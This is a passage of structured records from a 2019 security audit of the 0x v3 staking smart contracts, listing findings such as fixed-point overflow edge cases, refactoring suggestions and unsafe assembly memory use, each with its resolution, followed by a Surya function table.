zero. function _div(int256 a, int256 b) private pure returns (int256 c) { if (b == 0) { LibRichErrors.rrevert(LibFixedMathRichErrors.BinOpError( LibFixedMathRichErrors.BinOpErrorCodes.DIVISION_BY_ZERO, a, )); c = a / b; It does not check for overflow. Due to this, __div(-2**255, -1) erroneously returns -2**255. Recommendation For addition, the specific case of __add(-2**255, -2**255) can be detected by using a >= 0 check instead of > 0, but the below seems like a clearer check for all cases: // if b is negative, then the result should be less than a if (b < 0 && c >= a) { /* subtraction overflow */ } // if b is positive, then the result should be greater than a if (b > 0 && c <= a) { /* addition overflow */ } For multiplication and division, the specific values of -2**255 and -1 are the only missing cases, so that can be explicitly checked in the __mul() and __div() functions. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.8 Recommendation: Remove MixinAbstract and fold MixinStakingPoolRewards into MixinFinalizer and MixinStake ", "body": " Resolution The development team investigated this suggestion, but they were ultimately uncomfortable making such a large change in this cycle. This can be considered again in a future version of the code. Description issue 5.12, issue 5.11, issue 5.10, and issue 5.9, Move MixinStakingPoolRewards.withdrawDelegatorRewards into MixinStake. As per the comments above this function, its behavior is very similar to functions in MixinStake: code/contracts/staking/contracts/src/staking_pools/MixinStakingPoolRewards.sol:L35-L56 /// @dev Syncs rewards for a delegator. This includes transferring WETH /// rewards to the delegator, and adding/removing /// dependencies on cumulative rewards. /// This is used by a delegator when they want to sync their rewards /// without delegating/undelegating. It's effectively the same as /// delegating zero stake. /// @param poolId Unique id of pool. function withdrawDelegatorRewards(bytes32 poolId) external { address member = msg.sender; _withdrawAndSyncDelegatorRewards( poolId, member ); // Update stored balance with synchronized version; this prevents // redundant withdrawals. _delegatedStakeToPoolByOwner[member][poolId] = _loadSyncedBalance(_delegatedStakeToPoolByOwner[member][poolId]); } Move the rest of the MixinStakingPoolRewards functions into MixinFinalizer. This change allows the MixinStakingPoolRewards and MixinAbstract files to be removed. MixinStakingPool can now inherit directly from MixinFinalizer. After implementing all recommendations mentioned here, the inheritance graph of the staking contracts is much simpler. The previous graph is pictured here: The new graph is pictured here: Further improvements may consider: Having MixinStorage inherit MixinConstants and IStakingEvents Moving _loadCurrentBalance into MixinStorage. Currently MixinStakeBalances only inherits from MixinStakeStorage because of this function. After implementing the above, MixinExchangeFees is no longer dependent on MixinStakingPool and can inherit directly from MixinExchangeManager A sample inheritance graph including the above is pictured below: ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.9 Recommendation: remove confusing access to activePoolsThisEpoch ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2276. Along with other state cleanup, these functions and Description MixinFinalizer provides two functions to access activePoolsThisEpoch: _getActivePoolsFromEpoch returns a storage pointer to the mapping: code/contracts/staking/contracts/src/sys/MixinFinalizer.sol:L211-L225 /// @dev Get a mapping of active pools from an epoch. /// This uses the formula `epoch % 2` as the epoch index in order /// to reuse state, because we only need to remember, at most, two /// epochs at once. /// @return activePools The pools that were active in `epoch`. function _getActivePoolsFromEpoch( uint256 epoch ) internal view returns (mapping (bytes32 => IStructs.ActivePool) storage activePools) { activePools = _activePoolsByEpoch[epoch % 2]; return activePools; } _getActivePoolFromEpoch invokes _getActivePoolsFromEpoch, then loads an ActivePool struct from a passed-in poolId: code/contracts/staking/contracts/src/sys/MixinFinalizer.sol:L195-L209 /// @dev Get an active pool from an epoch by its ID. /// @param epoch The epoch the pool was/will be active in. /// @param poolId The ID of the pool. /// @return pool The pool with ID `poolId` that was active in `epoch`. function _getActivePoolFromEpoch( uint256 epoch, bytes32 poolId ) internal view returns (IStructs.ActivePool memory pool) { pool = _getActivePoolsFromEpoch(epoch)[poolId]; return pool; } Ultimately, the two functions are syntax sugar for activePoolsThisEpoch[epoch % 2], with the latter also accessing a value within the mapping. Because of the naming similarity, and because one calls the other, this abstraction is more confusing that simply accessing the state variable directly. Additionally, by removing these functions and adopting the long-form syntax, MixinExchangeFees no longer needs to inherit MixinFinalizer. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.10 Recommendation: remove MixinFinalizer._getUnfinalizedPoolRewardsFromState ", "body": " Resolution The development team decided to keep this function for its optimization on storage loads. It s will still be used internally by getters that are important for client-side code. Description MixinFinalizer._getUnfinalizedPoolRewardsFromState is a simple wrapper around the library function LibCobbDouglas.cobbDouglas: code/contracts/staking/contracts/src/sys/MixinFinalizer.sol:L250-L286 /// @dev Computes the reward owed to a pool during finalization. /// @param pool The active pool. /// @param state The current state of finalization. /// @return rewards Unfinalized rewards for this pool. function _getUnfinalizedPoolRewardsFromState( IStructs.ActivePool memory pool, IStructs.UnfinalizedState memory state private view returns (uint256 rewards) // There can't be any rewards if the pool was active or if it has // no stake. if (pool.feesCollected == 0) { return rewards; // Use the cobb-douglas function to compute the total reward. rewards = LibCobbDouglas.cobbDouglas( state.rewardsAvailable, pool.feesCollected, state.totalFeesCollected, pool.weightedStake, state.totalWeightedStake, cobbDouglasAlphaNumerator, cobbDouglasAlphaDenominator ); // Clip the reward to always be under // `rewardsAvailable - totalRewardsPaid`, // in case cobb-douglas overflows, which should be unlikely. uint256 rewardsRemaining = state.rewardsAvailable.safeSub(state.totalRewardsFinalized); if (rewardsRemaining < rewards) { rewards = rewardsRemaining; After implementing issue 5.11, this function is only called a single time, in MixinFinalizer.finalizePool: code/contracts/staking/contracts/src/sys/MixinFinalizer.sol:L119-L129 // Noop if the pool was not active or already finalized (has no fees). if (pool.feesCollected == 0) { return; // Clear the pool state so we don't finalize it again, and to recoup // some gas. delete _getActivePoolsFromEpoch(prevEpoch)[poolId]; // Compute the rewards. uint256 rewards = _getUnfinalizedPoolRewardsFromState(pool, state); Because it is only used a single time, and because it obfuscates an essential library call during the finalization process, the function should be removed and folded into finalizePool. Additionally, the first check for pool.feesCollected == 0 can be removed, as this case is covered in finalizePool already (see above). ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.11 Recommendation: remove complicating getters from MixinStakingPoolRewards ", "body": " Resolution These getters are useful for client-side code, such as the staking interface. Description MixinStakingPoolRewards has two external view functions that contribute complexity to essential functions, as well as the overall inheritance tree: computeRewardBalanceOfOperator, used to compute the reward balance of a pool s operator on an unfinalized pool: code/contracts/staking/contracts/src/staking_pools/MixinStakingPoolRewards.sol:L55-L69 /// @dev Computes the reward balance in ETH of the operator of a pool. /// @param poolId Unique id of pool. /// @return totalReward Balance in ETH. function computeRewardBalanceOfOperator(bytes32 poolId) external view returns (uint256 reward) { // Because operator rewards are immediately withdrawn as WETH // on finalization, the only factor in this function are unfinalized // rewards. IStructs.Pool memory pool = _poolById[poolId]; // Get any unfinalized rewards. (uint256 unfinalizedTotalRewards, uint256 unfinalizedMembersStake) = _getUnfinalizedPoolRewards(poolId); computeRewardBalanceOfDelegator, used to compute the reward balance of a delegator for an unfinalized pool: code/contracts/staking/contracts/src/staking_pools/MixinStakingPoolRewards.sol:L80-L99 /// @dev Computes the reward balance in ETH of a specific member of a pool. /// @param poolId Unique id of pool. /// @param member The member of the pool. /// @return totalReward Balance in ETH. function computeRewardBalanceOfDelegator(bytes32 poolId, address member) external view returns (uint256 reward) { IStructs.Pool memory pool = _poolById[poolId]; // Get any unfinalized rewards. (uint256 unfinalizedTotalRewards, uint256 unfinalizedMembersStake) = _getUnfinalizedPoolRewards(poolId); // Get the members' portion. (, uint256 unfinalizedMembersReward) = _computePoolRewardsSplit( pool.operatorShare, unfinalizedTotalRewards, unfinalizedMembersStake ); These two functions are the sole reason for the existence of MixinFinalizer._getUnfinalizedPoolRewards, one of the two functions in MixinAbstract: code/contracts/staking/contracts/src/sys/MixinAbstract.sol:L40-L52 /// @dev Computes the reward owed to a pool during finalization. /// Does nothing if the pool is already finalized. /// @param poolId The pool's ID. /// @return totalReward The total reward owed to a pool. /// @return membersStake The total stake for all non-operator members in /// this pool. function _getUnfinalizedPoolRewards(bytes32 poolId) internal view returns ( uint256 totalReward, uint256 membersStake ); These functions also necessitate two additional parameters in MixinStakingPoolRewards._computeDelegatorReward, which are used a single time to call _computeUnfinalizedDelegatorReward: code/contracts/staking/contracts/src/staking_pools/MixinStakingPoolRewards.sol:L253-L259 // 1/3 Unfinalized rewards earned in `currentEpoch - 1`. reward = _computeUnfinalizedDelegatorReward( delegatedStake, _currentEpoch, unfinalizedMembersReward, unfinalizedMembersStake ); By removing the functions computeRewardBalanceOfOperator and computeRewardBalanceOfDelegator, the following simplifications can be made: _getUnfinalizedPoolRewards can be removed from both MixinAbstract and MixinFinalizer The parameters unfinalizedMembersReward and unfinalizedMembersStake can be removed from _computeDelegatorReward The function _computeUnfinalizedDelegatorReward can be removed A branch of now-unused logic in _computeDelegatorReward can be removed ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.12 Recommendation: remove unneeded dependency on MixinStakeBalances ", "body": " Resolution From the development team: We re going to keep this abstraction to future-proof balance queries. Description MixinStakeBalances has two functions used by inheriting contracts: getStakeDelegatedToPoolByOwner, which provides shorthand to access _delegatedStakeToPoolByOwner: code/contracts/staking/contracts/src/stake/MixinStakeBalances.sol:L84-L95 /// @dev Returns the stake delegated to a specific staking pool, by a given staker. /// @param staker of stake. /// @param poolId Unique Id of pool. /// @return Stake delegated to pool by staker. function getStakeDelegatedToPoolByOwner(address staker, bytes32 poolId) public view returns (IStructs.StoredBalance memory balance) { balance = _loadCurrentBalance(_delegatedStakeToPoolByOwner[staker][poolId]); return balance; } getTotalStakeDelegatedToPool, which provides shorthand to access _delegatedStakeByPoolId: code/contracts/staking/contracts/src/stake/MixinStakeBalances.sol:L97-L108 /// @dev Returns the total stake delegated to a specific staking pool, /// across all members. /// @param poolId Unique Id of pool. /// @return Total stake delegated to pool. function getTotalStakeDelegatedToPool(bytes32 poolId) public view returns (IStructs.StoredBalance memory balance) { balance = _loadCurrentBalance(_delegatedStakeByPoolId[poolId]); return balance; } Each of these functions is used only a single time: MixinExchangeFees.payProtocolFee: code/contracts/staking/contracts/src/fees/MixinExchangeFees.sol:L78 uint256 poolStake = getTotalStakeDelegatedToPool(poolId).currentEpochBalance; MixinExchangeFees._computeMembersAndWeightedStake: code/contracts/staking/contracts/src/fees/MixinExchangeFees.sol:L143-L146 uint256 operatorStake = getStakeDelegatedToPoolByOwner( _poolById[poolId].operator, poolId ).currentEpochBalance; By replacing these function invocations in MixinExchangeFees with the long-form access to each state variable, MixinStakeBalances will no longer need to be included in the inheritance trees for several contracts. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.13 Misleading MoveStake event when moving stake from UNDELEGATED to UNDELEGATED ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2280. If Description Although moving stake between the same status (UNDELEGATED <=> UNDELEGATED) should be a no-op, calls to moveStake succeed even for invalid amount and nonsensical poolId. The resulting MoveStake event can log garbage, potentially confusing those observing events. Examples When moving between UNDELEGATED and UNDELEGATED, each check and function call results in a no-op, save the final event: Neither from nor to are StakeStatus.DELEGATED, so these checks are passed: code/contracts/staking/contracts/src/stake/MixinStake.sol:L115-L129 if (from.status == IStructs.StakeStatus.DELEGATED) { _undelegateStake( from.poolId, staker, amount ); } if (to.status == IStructs.StakeStatus.DELEGATED) { _delegateStake( to.poolId, staker, amount ); } The primary state changing function, _moveStake, immediately returns because the from and to balance pointers are equivalent: code/contracts/staking/contracts/src/stake/MixinStakeStorage.sol:L47-L49 if (_arePointersEqual(fromPtr, toPtr)) { return; } Finally, the MoveStake event is invoked, which can log completely invalid values for amount, from.poolId, and to.poolId: code/contracts/staking/contracts/src/stake/MixinStake.sol:L141-L148 emit MoveStake( staker, amount, uint8(from.status), from.poolId, uint8(to.status), to.poolId ); Recommendation If amount is 0 or if moving between UNDELEGATED and UNDELEGATED, this function should no-op or revert. An explicit check for this case should be made near the start of the function. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.14 The staking contracts contain several artifacts of a quickly-changing codebase ", "body": " Resolution These issues were addressed in a variety of fixes, most notably 0xProject/0x-monorepo#2262. Examples address payable is used repeatedly, but payments use WETH: MixinStakingPool.createStakingPool: code/contracts/staking/contracts/src/staking_pools/MixinStakingPool.sol:L54 address payable operator = msg.sender; ZrxVault.stakingProxyAddress: code/contracts/staking/contracts/src/ZrxVault.sol:L38 address payable public stakingProxyAddress; ZrxVault.setStakingProxy: code/contracts/staking/contracts/src/ZrxVault.sol:L76 function setStakingProxy(address payable _stakingProxyAddress) IZrxVault.setStakingProxy: code/contracts/staking/contracts/src/interfaces/IZrxVault.sol:L53 function setStakingProxy(address payable _stakingProxyAddress) struct IStructs.Pool: code/contracts/staking/contracts/src/interfaces/IStructs.sol:L114 address payable operator; MixinStake.stake: code/contracts/staking/contracts/src/stake/MixinStake.sol:L38 address payable staker = msg.sender; MixinStake.unstake: code/contracts/staking/contracts/src/stake/MixinStake.sol:L63 address payable staker = msg.sender; MixinStake.moveStake: code/contracts/staking/contracts/src/stake/MixinStake.sol:L119 address payable staker = msg.sender; MixinStake._delegateStake: code/contracts/staking/contracts/src/stake/MixinStake.sol:L181 address payable staker, MixinStake._undelegateStake: code/contracts/staking/contracts/src/stake/MixinStake.sol:L210 address payable staker, Some identifiers are used multiple times for different purposes: currentEpoch is: A state variable: code/contracts/staking/contracts/src/immutable/MixinStorage.sol:L86 uint256 public currentEpoch = INITIAL_EPOCH; A function parameter: code/contracts/staking/contracts/src/staking_pools/MixinStakingPoolRewards.sol:L323 uint256 currentEpoch, A struct field: code/contracts/staking/contracts/src/interfaces/IStructs.sol:L62 uint32 currentEpoch; Several comments are out of date: Many struct comments reference fees and rewards denominated in ETH, while only WETH is used: code/contracts/staking/contracts/src/interfaces/IStructs.sol:L36-L38 /// @param rewardsAvailable Rewards (ETH) available to the epoch /// being finalized (the previous epoch). This is simply the balance /// of the contract at the end of the epoch. UnfinalizedState.totalFeesCollected should specify that it is tracking fees attributed to a pool. Fees not attributed to a pool are still collected, but are not recorded: code/contracts/staking/contracts/src/interfaces/IStructs.sol:L41 /// @param totalFeesCollected The total fees collected for the epoch being finalized. UnfinalizedState.totalWeightedStake is copy-pasted from totalFeesCollected: code/contracts/staking/contracts/src/interfaces/IStructs.sol:L42 /// @param totalWeightedStake The total fees collected for the epoch being finalized. Pool.initialized seems to be copy-pasted from an older version of the struct StoredBalance or StakeBalance: code/contracts/staking/contracts/src/interfaces/IStructs.sol:L108 /// @param initialized True iff the balance struct is initialized. The final contracts produce several compiler warnings: Several functions are intentionally marked view to allow overriding implementations to read from state. These can be silenced by adding block.timestamp; or similar statements to the functions. One function is erroneously marked view, and should be changed to pure: code/contracts/staking/contracts/src/staking_pools/MixinStakingPoolRewards.sol:L315-L330 /// @dev Computes the unfinalized rewards earned by a delegator in the last epoch. /// @param unsyncedStake Unsynced delegated stake to pool by staker /// @param currentEpoch The epoch in which this call is executing /// @param unfinalizedMembersReward Unfinalized total members reward (if any). /// @param unfinalizedMembersStake Unfinalized total members stake (if any). /// @return reward Balance in WETH. function _computeUnfinalizedDelegatorReward( IStructs.StoredBalance memory unsyncedStake, uint256 currentEpoch, uint256 unfinalizedMembersReward, uint256 unfinalizedMembersStake ) private view returns (uint256) { ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.15 Remove unneeded fields from StoredBalance and Pool structs ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2248. As part of a larger refactor, these fields were removed. Description Both structs have fields that are only written to, and never read: StoredBalance.isInitialized: code/contracts/staking/contracts/src/interfaces/IStructs.sol:L61 bool isInitialized; Pool.initialized: code/contracts/staking/contracts/src/interfaces/IStructs.sol:L113 bool initialized; Recommendation The unused fields should be removed. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.16 Remove unnecessary fallback function in Staking contract ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2277. Description The Staking contract has a payable fallback function that is never used. Because it is used with a proxy contract, this pattern introduces silent failures when calls are made to the contract with no matching function selector. Recommendation Remove the fallback function from Staking. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.17 Pool IDs can just be incrementing integers ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2250. Pool IDs now start at 1 and increment by 1 each time. Description Pool IDs are currently bytes32 values that increment by 2**128. After discussion with the development team, it seems that this was in preparation for a feature that was ultimately not used. Pool IDs should instead just be incrementing integers. Examples code/contracts/staking/contracts/src/immutable/MixinConstants.sol:L30-L34 // The upper 16 bytes represent the pool id, so this would be pool id 1. See MixinStakinPool for more information. bytes32 constant internal INITIAL_POOL_ID = 0x0000000000000000000000000000000100000000000000000000000000000000; // The upper 16 bytes represent the pool id, so this would be an increment of 1. See MixinStakinPool for more information. uint256 constant internal POOL_ID_INCREMENT_AMOUNT = 0x0000000000000000000000000000000100000000000000000000000000000000; code/contracts/staking/contracts/src/staking_pools/MixinStakingPool.sol:L271-L280 /// @dev Computes the unique id that comes after the input pool id. /// @param poolId Unique id of pool. /// @return Next pool id after input pool. function _computeNextStakingPoolId(bytes32 poolId) internal pure returns (bytes32) return bytes32(uint256(poolId).safeAdd(POOL_ID_INCREMENT_AMOUNT)); Recommendation Make pool IDs uint256 values and simply add 1 to generate the next ID. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.18 LibProxy.proxyCall() may overwrite important memory ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2301. This function has been rewritten in Solidity and now avoids manual memory management. Description LibProxy.proxyCall() copies from call data to memory, starting at address 0: code/contracts/staking/contracts/src/libs/LibProxy.sol:L52-L71 assembly { // store selector of destination function let freeMemPtr := 0 if gt(customEgressSelector, 0) { mstore(0x0, customEgressSelector) freeMemPtr := add(freeMemPtr, 4) // adjust the calldata offset, if we should ignore the selector let calldataOffset := 0 if gt(ignoreIngressSelector, 0) { calldataOffset := 4 // copy calldata to memory calldatacopy( freeMemPtr, calldataOffset, calldatasize() The first 64 bytes of memory are treated as scratch space by the Solidity compiler. Writing beyond that point is dangerous, as it will overwrite the free memory pointer and the zero slot which is where length-0 arrays point. Although the current callers of proxyCall() don t appear to use any memory after calling proxyCall(), future changes to the code may introduce very serious and subtle bugs due to this unsafe handling of memory. Recommendation Use the actual free memory pointer to determine where it s safe to write to memory. 6 Tool-Based Analysis Several tools were used to perform automated analysis of the reviewed contracts. These issues were reviewed by the audit team, and relevant issues are listed in the Issue Details section. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "6.1 MythX", "body": " MythX is a security analysis API for Ethereum smart contracts. It performs multiple types of analysis, including fuzzing and symbolic execution, to detect many common vulnerability types. The tool was used for automated vulnerability discovery for all audited contracts and libraries. More details on MythX can be found at mythx.io. The full set of MythX results for both the exchange and staking contracts are available in a separate report. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "6.2 Surya", "body": " Surya is an utility tool for smart contract systems. It provides a number of visual outputs and information about structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers: S\u016brya s Description Report Files Description Table ReadOnlyProxy.sol 6ec64526446ebff87ec5528ee3b2786338cc4fa0 Staking.sol 67ddcb9ab75e433882e28d9186815990b7084c61 StakingProxy.sol 248f562d014d0b1ca6de3212966af3e52a7deef1 ZrxVault.sol 6c3249314868a2f5d0984122e8ab1413a5b521c9 fees/MixinExchangeFees.sol 9ac3b696baa8ba09305cfc83d3c08f17d9d528e1 fees/MixinExchangeManager.sol 46f48136a49919cdb5588dc1b3d64c977c3367f2 immutable/MixinConstants.sol 97c2ac83ef97a09cfd485cb0d4b119ba0902cc79 immutable/MixinDeploymentConstants.sol 424f22c45df8e494c4a78f239ea07ff0400d694b immutable/MixinStorage.sol 8ad475b0e424e7a3ff65eedf2e999cba98f414c8 interfaces/IStaking.sol ec1d7f214e3fd40e14716de412deee9769359bc0 interfaces/IStakingEvents.sol 25f16b814c4df9d2002316831c3f727d858456c4 interfaces/IStakingProxy.sol 02e35c6b51e08235b2a01d30a8082d60d9d61bee interfaces/IStorage.sol eeaa798c262b46d1874e904cf7de0423d4132cee interfaces/IStorageInit.sol b9899b03e474ea5adc3b4818a4357f71b8d288d4 interfaces/IStructs.sol fee17d036883d641afb1222b75eec8427f3cdb96 interfaces/IZrxVault.sol 9067154651675317e000cfa92de9741e50c1c809 libs/LibCobbDouglas.sol 242d62d71cf8bc09177d240c0db59b83f9bb4e96 libs/LibFixedMath.sol 36311e7be09a947fa4e6cd8c544cacd13d65833c libs/LibFixedMathRichErrors.sol 39cb3e07bbce3272bbf090e87002d5834d288ec2 libs/LibProxy.sol 29abe52857a782c8da39b053cc54e02e295c1ae2 libs/LibSafeDowncast.sol ae16ed2573d64802793320253b060b9507729c3d libs/LibStakingRichErrors.sol f5868ef6066a18277c932e59c0a516ec58920b00 stake/MixinStake.sol ade59ed356fe72521ffd2ef12ff8896c852f11f8 stake/MixinStakeBalances.sol cde6ca1a6200570ba18dd6d392ffabf68c2bb464 stake/MixinStakeStorage.sol cadf34d9d341efd2a85dd13ec3cd4ce8383e0f73 staking_pools/MixinCumulativeRewards.sol 664ea3e35376c81492457dc17832a4d0d602c8ae staking_pools/MixinStakingPool.sol 74ba9cb2db29b8dd6376d112e9452d117a391b18 staking_pools/MixinStakingPoolRewards.sol a3b4e5c9b1c3568c94923e2dd9a93090ebdf8536 sys/MixinAbstract.sol 99fd4870c20d8fa03cfa30e8055d3dfb348ed5cd sys/MixinFinalizer.sol cc658ed07241c1804cec75b12203be3cd8657b9b sys/MixinParams.sol 7b395f4da7ed787d7aa4eb915f15377725ff8168 sys/MixinScheduler.sol 2fab6b83a6f9e1d0dd1b1bdcea4b129d166aef1d Contracts Description Table Function Name Visibility Mutability Modifiers ReadOnlyProxy Implementation MixinStorage External NO revertDelegateCall External NO Staking Implementation IStaking, MixinParams, MixinStake, MixinExchangeFees External NO init Public onlyAuthorized StakingProxy Implementation IStakingProxy, MixinStorage Public MixinStorage External NO attachStakingContract External onlyAuthorized detachStakingContract External onlyAuthorized setReadOnlyMode External onlyAuthorized batchExecute External NO _assertValidStorageParams Internal \ud83d\udd12 _attachStakingContract Internal \ud83d\udd12 ZrxVault Implementation Authorizable, IZrxVault Public Authorizable setStakingProxy External onlyAuthorized enterCatastrophicFailure External onlyAuthorized setZrxProxy External onlyAuthorized onlyNotInCatastrophicFailure depositFrom External onlyStakingProxy onlyNotInCatastrophicFailure withdrawFrom External onlyStakingProxy onlyNotInCatastrophicFailure withdrawAllFrom External onlyInCatastrophicFailure balanceOf External NO _withdrawFrom Internal \ud83d\udd12 _assertSenderIsStakingProxy Private \ud83d\udd10 _assertInCatastrophicFailure Private \ud83d\udd10 _assertNotInCatastrophicFailure Private \ud83d\udd10 MixinExchangeFees Implementation MixinExchangeManager, MixinStakingPool, MixinFinalizer payProtocolFee External onlyExchange getActiveStakingPoolThisEpoch External NO _computeMembersAndWeightedStake Private \ud83d\udd10 _assertValidProtocolFee Private \ud83d\udd10 MixinExchangeManager Implementation IStakingEvents, MixinStorage addExchangeAddress External onlyAuthorized removeExchangeAddress External onlyAuthorized MixinConstants Implementation MixinDeploymentConstants MixinDeploymentConstants Implementation getWethContract Public NO getZrxVault Public NO MixinStorage Implementation MixinConstants, Authorizable IStaking Interface moveStake External NO payProtocolFee External NO stake External NO IStakingEvents Interface IStakingProxy Interface External NO attachStakingContract External NO detachStakingContract External NO IStorage Interface stakingContract External NO readOnlyProxy External NO readOnlyProxyCallee External NO nextPoolId External NO numMakersByPoolId External NO currentEpoch External NO currentEpochStartTimeInSeconds External NO protocolFeesThisEpochByPool External NO activePoolsThisEpoch External NO validExchanges External NO epochDurationInSeconds External NO rewardDelegatedStakeWeight External NO minimumPoolStake External NO maximumMakersInPool External NO cobbDouglasAlphaNumerator External NO cobbDouglasAlphaDenominator External NO IStorageInit Interface init External NO IStructs Interface IZrxVault Interface setStakingProxy External NO enterCatastrophicFailure External NO setZrxProxy External NO depositFrom External NO withdrawFrom External NO withdrawAllFrom External NO balanceOf External NO LibCobbDouglas Library cobbDouglas Internal \ud83d\udd12 LibFixedMath Library one Internal \ud83d\udd12 add Internal \ud83d\udd12 sub Internal \ud83d\udd12 mul Internal \ud83d\udd12 div Internal \ud83d\udd12 mulDiv Internal \ud83d\udd12 uintMul Internal \ud83d\udd12 abs Internal \ud83d\udd12 invert Internal \ud83d\udd12 toFixed Internal \ud83d\udd12 toFixed Internal \ud83d\udd12 toFixed Internal \ud83d\udd12 toFixed Internal \ud83d\udd12 toInteger Internal \ud83d\udd12 ln Internal \ud83d\udd12 exp Internal \ud83d\udd12 _mul Private \ud83d\udd10 _div Private \ud83d\udd10 _add Private \ud83d\udd10 LibFixedMathRichErrors Library SignedValueError Internal \ud83d\udd12 UnsignedValueError Internal \ud83d\udd12 BinOpError Internal \ud83d\udd12 LibProxy Library proxyCall Internal \ud83d\udd12 LibSafeDowncast Library downcastToUint96 Internal \ud83d\udd12 downcastToUint64 Internal \ud83d\udd12 downcastToUint32 Internal \ud83d\udd12 LibStakingRichErrors Library OnlyCallableByExchangeError Internal \ud83d\udd12 ExchangeManagerError Internal \ud83d\udd12 InsufficientBalanceError Internal \ud83d\udd12 OnlyCallableByPoolOperatorOrMakerError Internal \ud83d\udd12 MakerPoolAssignmentError Internal \ud83d\udd12 BlockTimestampTooLowError Internal \ud83d\udd12 OnlyCallableByStakingContractError Internal \ud83d\udd12 OnlyCallableIfInCatastrophicFailureError Internal \ud83d\udd12 OnlyCallableIfNotInCatastrophicFailureError Internal \ud83d\udd12 OperatorShareError Internal \ud83d\udd12 PoolExistenceError Internal \ud83d\udd12 InvalidProtocolFeePaymentError Internal \ud83d\udd12 InvalidStakeStatusError Internal \ud83d\udd12 InitializationError Internal \ud83d\udd12 InvalidParamValueError Internal \ud83d\udd12 ProxyDestinationCannotBeNilError Internal \ud83d\udd12 PreviousEpochNotFinalizedError Internal \ud83d\udd12 MixinStake Implementation MixinStakingPool stake External NO unstake External NO moveStake External NO _delegateStake Private \ud83d\udd10 _undelegateStake Private \ud83d\udd10 _getBalancePtrFromStatus Private \ud83d\udd10 MixinStakeBalances Implementation MixinStakeStorage getGlobalActiveStake External NO getGlobalInactiveStake External NO getGlobalDelegatedStake External NO getTotalStake External NO getActiveStake External NO getInactiveStake External NO getStakeDelegatedByOwner External NO getWithdrawableStake Public NO getStakeDelegatedToPoolByOwner Public NO getTotalStakeDelegatedToPool Public NO _computeWithdrawableStake Internal \ud83d\udd12 MixinStakeStorage Implementation MixinScheduler _moveStake Internal \ud83d\udd12 _loadSyncedBalance Internal \ud83d\udd12 _loadUnsyncedBalance Internal \ud83d\udd12 _increaseCurrentAndNextBalance Internal \ud83d\udd12 _decreaseCurrentAndNextBalance Internal \ud83d\udd12 _increaseNextBalance Internal \ud83d\udd12 _decreaseNextBalance Internal \ud83d\udd12 _storeBalance Private \ud83d\udd10 _arePointersEqual Private \ud83d\udd10 MixinCumulativeRewards Implementation MixinStakeBalances _initializeCumulativeRewards Internal \ud83d\udd12 _isCumulativeRewardSet Internal \ud83d\udd12 _forceSetCumulativeReward Internal \ud83d\udd12 _computeMemberRewardOverInterval Internal \ud83d\udd12 _getMostRecentCumulativeReward Internal \ud83d\udd12 _getCumulativeRewardAtEpoch Internal \ud83d\udd12 MixinStakingPool Implementation MixinAbstract, MixinStakingPoolRewards createStakingPool External NO decreaseStakingPoolOperatorShare External onlyStakingPoolOperatorOrMaker joinStakingPoolAsMaker External NO addMakerToStakingPool External onlyStakingPoolOperatorOrMaker removeMakerFromStakingPool External onlyStakingPoolOperatorOrMaker getStakingPoolIdOfMaker Public NO getStakingPool Public NO _addMakerToStakingPool Internal \ud83d\udd12 _computeNextStakingPoolId Internal \ud83d\udd12 _assertStakingPoolExists Internal \ud83d\udd12 _assertNewOperatorShare Private \ud83d\udd10 _assertSenderIsPoolOperatorOrMaker Private \ud83d\udd10 MixinStakingPoolRewards Implementation MixinAbstract, MixinCumulativeRewards withdrawDelegatorRewards External NO computeRewardBalanceOfOperator External NO computeRewardBalanceOfDelegator External NO _withdrawAndSyncDelegatorRewards Internal \ud83d\udd12 _syncPoolRewards Internal \ud83d\udd12 _computePoolRewardsSplit Internal \ud83d\udd12 _computeDelegatorReward Private \ud83d\udd10 _computeUnfinalizedDelegatorReward Private \ud83d\udd10 _increasePoolRewards Private \ud83d\udd10 _decreasePoolRewards Private \ud83d\udd10 MixinAbstract Implementation finalizePool Public NO _getUnfinalizedPoolRewards Internal \ud83d\udd12 MixinFinalizer Implementation MixinStakingPoolRewards endEpoch External NO finalizePool Public NO _getUnfinalizedPoolRewards Internal \ud83d\udd12 _getActivePoolFromEpoch Internal \ud83d\udd12 _getActivePoolsFromEpoch Internal \ud83d\udd12 _wrapEth Internal \ud83d\udd12 _getAvailableWethBalance Internal \ud83d\udd12 _getUnfinalizedPoolRewardsFromState Private \ud83d\udd10 _creditRewardsToPool Private \ud83d\udd10 MixinParams Implementation 